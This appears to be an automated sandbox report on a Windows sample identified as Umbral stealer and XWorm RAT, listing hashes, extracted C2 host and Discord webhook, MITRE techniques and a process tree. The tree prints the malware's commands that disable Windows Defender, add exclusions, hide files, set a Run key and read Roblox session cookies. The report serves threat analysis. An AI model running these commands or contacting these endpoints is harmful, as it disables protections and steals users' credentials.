umbral | 136cec1df46a4a97e2358e7b1ddcca2ec2853ecad6e004cbd959844d1e96d0e0

Analysis

max time kernel
148s
max time network
151s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
02-07-2024 15:07

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General

Target

fixxxx.exe
Size

1.1MB
MD5

656c98a712018e49c94e823f1f30d038
SHA1

f7400c9f13174b924c822871053fb1efa97a43b6
SHA256

136cec1df46a4a97e2358e7b1ddcca2ec2853ecad6e004cbd959844d1e96d0e0
SHA512

300b82e08c08391a369706a77907471527a6325909f64ed9c6e316b89f3e0659ddc0619bba1ee857f2b2a14865b3248161079e066ea6f3d6d340617f56a6a068
SSDEEP

24576:Ut9UwrSmTCEu3LIy+PtTFngKrh67y8pWaUTNTfkROL6bE:C9PWDIB5Fnfrx8W1hn/

Score

10^/10

umbral xworm execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

20.ip.gl.ply.gg:53765

Attributes

Install_directory
%AppData%
install_file
svchost.exe

Extracted

Family

umbral

https://discord.com/api/webhooks/1257705373842931812/tC0mK-jq5cX6npMOy_YAUDvD9Mp63k-HX1Zs0JwsyvoUpCeh4vfi_Qv8ttDXKYlNJiJD

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0004000000004ed7-33.dat	family_umbral
behavioral1/memory/1432-37-0x00000000001A0000-0x00000000001E0000-memory.dmp	family_umbral

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2968-1-0x00000000008A0000-0x0000000000C14000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3068	powershell.exe
2184	powershell.exe
2716	powershell.exe
2692	powershell.exe
2452	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	iehjot.exe

Executes dropped EXE 1 IoCs

pid	Process
1432	iehjot.exe

Loads dropped DLL 1 IoCs

pid	Process
2968	fixxxx.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	fixxxx.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
17	discord.com
18	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs

pid	Process
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe
2968	fixxxx.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1732	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2400	PING.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2184	powershell.exe
2716	powershell.exe
2692	powershell.exe
2452	powershell.exe
3068	powershell.exe
788	powershell.exe
1512	powershell.exe
1644	powershell.exe
2392	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2968	fixxxx.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	2968	fixxxx.exe
Token: SeDebugPrivilege	1432	iehjot.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	788	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeIncreaseQuotaPrivilege	648	wmic.exe
Token: SeSecurityPrivilege	648	wmic.exe
Token: SeTakeOwnershipPrivilege	648	wmic.exe
Token: SeLoadDriverPrivilege	648	wmic.exe
Token: SeSystemProfilePrivilege	648	wmic.exe
Token: SeSystemtimePrivilege	648	wmic.exe
Token: SeProfSingleProcessPrivilege	648	wmic.exe
Token: SeIncBasePriorityPrivilege	648	wmic.exe
Token: SeCreatePagefilePrivilege	648	wmic.exe
Token: SeBackupPrivilege	648	wmic.exe
Token: SeRestorePrivilege	648	wmic.exe
Token: SeShutdownPrivilege	648	wmic.exe
Token: SeDebugPrivilege	648	wmic.exe
Token: SeSystemEnvironmentPrivilege	648	wmic.exe
Token: SeRemoteShutdownPrivilege	648	wmic.exe
Token: SeUndockPrivilege	648	wmic.exe
Token: SeManageVolumePrivilege	648	wmic.exe
Token: 33	648	wmic.exe
Token: 34	648	wmic.exe
Token: 35	648	wmic.exe
Token: SeIncreaseQuotaPrivilege	648	wmic.exe
Token: SeSecurityPrivilege	648	wmic.exe
Token: SeTakeOwnershipPrivilege	648	wmic.exe
Token: SeLoadDriverPrivilege	648	wmic.exe
Token: SeSystemProfilePrivilege	648	wmic.exe
Token: SeSystemtimePrivilege	648	wmic.exe
Token: SeProfSingleProcessPrivilege	648	wmic.exe
Token: SeIncBasePriorityPrivilege	648	wmic.exe
Token: SeCreatePagefilePrivilege	648	wmic.exe
Token: SeBackupPrivilege	648	wmic.exe
Token: SeRestorePrivilege	648	wmic.exe
Token: SeShutdownPrivilege	648	wmic.exe
Token: SeDebugPrivilege	648	wmic.exe
Token: SeSystemEnvironmentPrivilege	648	wmic.exe
Token: SeRemoteShutdownPrivilege	648	wmic.exe
Token: SeUndockPrivilege	648	wmic.exe
Token: SeManageVolumePrivilege	648	wmic.exe
Token: 33	648	wmic.exe
Token: 34	648	wmic.exe
Token: 35	648	wmic.exe
Token: SeIncreaseQuotaPrivilege	1640	wmic.exe
Token: SeSecurityPrivilege	1640	wmic.exe
Token: SeTakeOwnershipPrivilege	1640	wmic.exe
Token: SeLoadDriverPrivilege	1640	wmic.exe
Token: SeSystemProfilePrivilege	1640	wmic.exe
Token: SeSystemtimePrivilege	1640	wmic.exe
Token: SeProfSingleProcessPrivilege	1640	wmic.exe
Token: SeIncBasePriorityPrivilege	1640	wmic.exe
Token: SeCreatePagefilePrivilege	1640	wmic.exe
Token: SeBackupPrivilege	1640	wmic.exe
Token: SeRestorePrivilege	1640	wmic.exe
Token: SeShutdownPrivilege	1640	wmic.exe
Token: SeDebugPrivilege	1640	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2968	fixxxx.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 2184	2968	fixxxx.exe	28
PID 2968 wrote to memory of 2184	2968	fixxxx.exe	28
PID 2968 wrote to memory of 2184	2968	fixxxx.exe	28
PID 2968 wrote to memory of 2184	2968	fixxxx.exe	28
PID 2968 wrote to memory of 2716	2968	fixxxx.exe	30
PID 2968 wrote to memory of 2716	2968	fixxxx.exe	30
PID 2968 wrote to memory of 2716	2968	fixxxx.exe	30
PID 2968 wrote to memory of 2716	2968	fixxxx.exe	30
PID 2968 wrote to memory of 2692	2968	fixxxx.exe	32
PID 2968 wrote to memory of 2692	2968	fixxxx.exe	32
PID 2968 wrote to memory of 2692	2968	fixxxx.exe	32
PID 2968 wrote to memory of 2692	2968	fixxxx.exe	32
PID 2968 wrote to memory of 2452	2968	fixxxx.exe	34
PID 2968 wrote to memory of 2452	2968	fixxxx.exe	34
PID 2968 wrote to memory of 2452	2968	fixxxx.exe	34
PID 2968 wrote to memory of 2452	2968	fixxxx.exe	34
PID 2968 wrote to memory of 1432	2968	fixxxx.exe	39
PID 2968 wrote to memory of 1432	2968	fixxxx.exe	39
PID 2968 wrote to memory of 1432	2968	fixxxx.exe	39
PID 2968 wrote to memory of 1432	2968	fixxxx.exe	39
PID 1432 wrote to memory of 2632	1432	iehjot.exe	40
PID 1432 wrote to memory of 2632	1432	iehjot.exe	40
PID 1432 wrote to memory of 2632	1432	iehjot.exe	40
PID 1432 wrote to memory of 3068	1432	iehjot.exe	42
PID 1432 wrote to memory of 3068	1432	iehjot.exe	42
PID 1432 wrote to memory of 3068	1432	iehjot.exe	42
PID 1432 wrote to memory of 788	1432	iehjot.exe	44
PID 1432 wrote to memory of 788	1432	iehjot.exe	44
PID 1432 wrote to memory of 788	1432	iehjot.exe	44
PID 1432 wrote to memory of 1512	1432	iehjot.exe	46
PID 1432 wrote to memory of 1512	1432	iehjot.exe	46
PID 1432 wrote to memory of 1512	1432	iehjot.exe	46
PID 1432 wrote to memory of 1644	1432	iehjot.exe	48
PID 1432 wrote to memory of 1644	1432	iehjot.exe	48
PID 1432 wrote to memory of 1644	1432	iehjot.exe	48
PID 1432 wrote to memory of 648	1432	iehjot.exe	50
PID 1432 wrote to memory of 648	1432	iehjot.exe	50
PID 1432 wrote to memory of 648	1432	iehjot.exe	50
PID 1432 wrote to memory of 1640	1432	iehjot.exe	52
PID 1432 wrote to memory of 1640	1432	iehjot.exe	52
PID 1432 wrote to memory of 1640	1432	iehjot.exe	52
PID 1432 wrote to memory of 2884	1432	iehjot.exe	54
PID 1432 wrote to memory of 2884	1432	iehjot.exe	54
PID 1432 wrote to memory of 2884	1432	iehjot.exe	54
PID 1432 wrote to memory of 2392	1432	iehjot.exe	56
PID 1432 wrote to memory of 2392	1432	iehjot.exe	56
PID 1432 wrote to memory of 2392	1432	iehjot.exe	56
PID 1432 wrote to memory of 1732	1432	iehjot.exe	58
PID 1432 wrote to memory of 1732	1432	iehjot.exe	58
PID 1432 wrote to memory of 1732	1432	iehjot.exe	58
PID 1432 wrote to memory of 2364	1432	iehjot.exe	60
PID 1432 wrote to memory of 2364	1432	iehjot.exe	60
PID 1432 wrote to memory of 2364	1432	iehjot.exe	60
PID 2364 wrote to memory of 2400	2364	cmd.exe	62
PID 2364 wrote to memory of 2400	2364	cmd.exe	62
PID 2364 wrote to memory of 2400	2364	cmd.exe	62

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2632	attrib.exe

C:\Users\Admin\AppData\Local\Temp\fixxxx.exe
"C:\Users\Admin\AppData\Local\Temp\fixxxx.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\fixxxx.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2184
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'fixxxx.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2452
- C:\Users\Admin\AppData\Local\Temp\iehjot.exe
  "C:\Users\Admin\AppData\Local\Temp\iehjot.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1432
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\iehjot.exe"
    3⤵
    - Views/modifies file attributes
    PID:2632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\iehjot.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1644
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:648
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1640
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2392
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1732
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\iehjot.exe" && pause
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:2400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2cb3c0bf16ed58d1b05f5fcb617a463c

SHA1
d34d098f9d3a7422ebfb0fd86196198c258aa2c7

SHA256
cfe2c32b6b0ca41f8fc029d30a1fa8be59b962aaa35d2499120a089103e983cb

SHA512
71fb57b49359366669a390cae5b0cdbf8cdf41dfe9b896c35805ac3b53f245cb81f646af61a938e964b90043aa4ed72fe104a032fa77e0ded26e6bc78e773dfe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
b23a5d200c0c473bc8f94d78cf84b0dc

SHA1
17b9a851df8756acb9d2b537e219db4047ff6afa

SHA256
e8af3f97ed0c56e58df563050b862889dc3da95e488ea7b9825e9c6ad1df768e

SHA512
49e2fe858920cf64ed6a170d3bc0e31c964123dd258995660277d4ea32bda297b7f8deb204c2a33e7cceb707c016cb703704b33709f20ac7bf12feaf9152316c

Download Submit
\Users\Admin\AppData\Local\Temp\iehjot.exe

Filesize
231KB

MD5
cc9a35c145b9603d30c07fa7995390ea

SHA1
e4dd1a40aa0e5a1a7cfae14e76ebab05d51a0b69

SHA256
8a18073f8f287ccd1f0cf93ae325e84426073bfd07593ea736e7ec0bb9a35efe

SHA512
ee8145b5927c8395455a3ed7bf4f557a66035bdb7354d519045c51ce44a9b39922fa7b2288a6694cbc2a542c2f623ef309ff4d3f5029aea6ee94b9f005120b95

Download Submit
memory/788-49-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/788-50-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/1432-37-0x00000000001A0000-0x00000000001E0000-memory.dmp

Filesize
256KB

Download
memory/2392-75-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/2968-21-0x00000000008A0000-0x0000000000C14000-memory.dmp

Filesize
3.5MB

Download
memory/2968-26-0x0000000000840000-0x000000000084C000-memory.dmp

Filesize
48KB

Download
memory/2968-0-0x00000000008A0000-0x0000000000C14000-memory.dmp

Filesize
3.5MB

Download
memory/2968-1-0x00000000008A0000-0x0000000000C14000-memory.dmp

Filesize
3.5MB

Download
memory/3068-42-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/3068-43-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download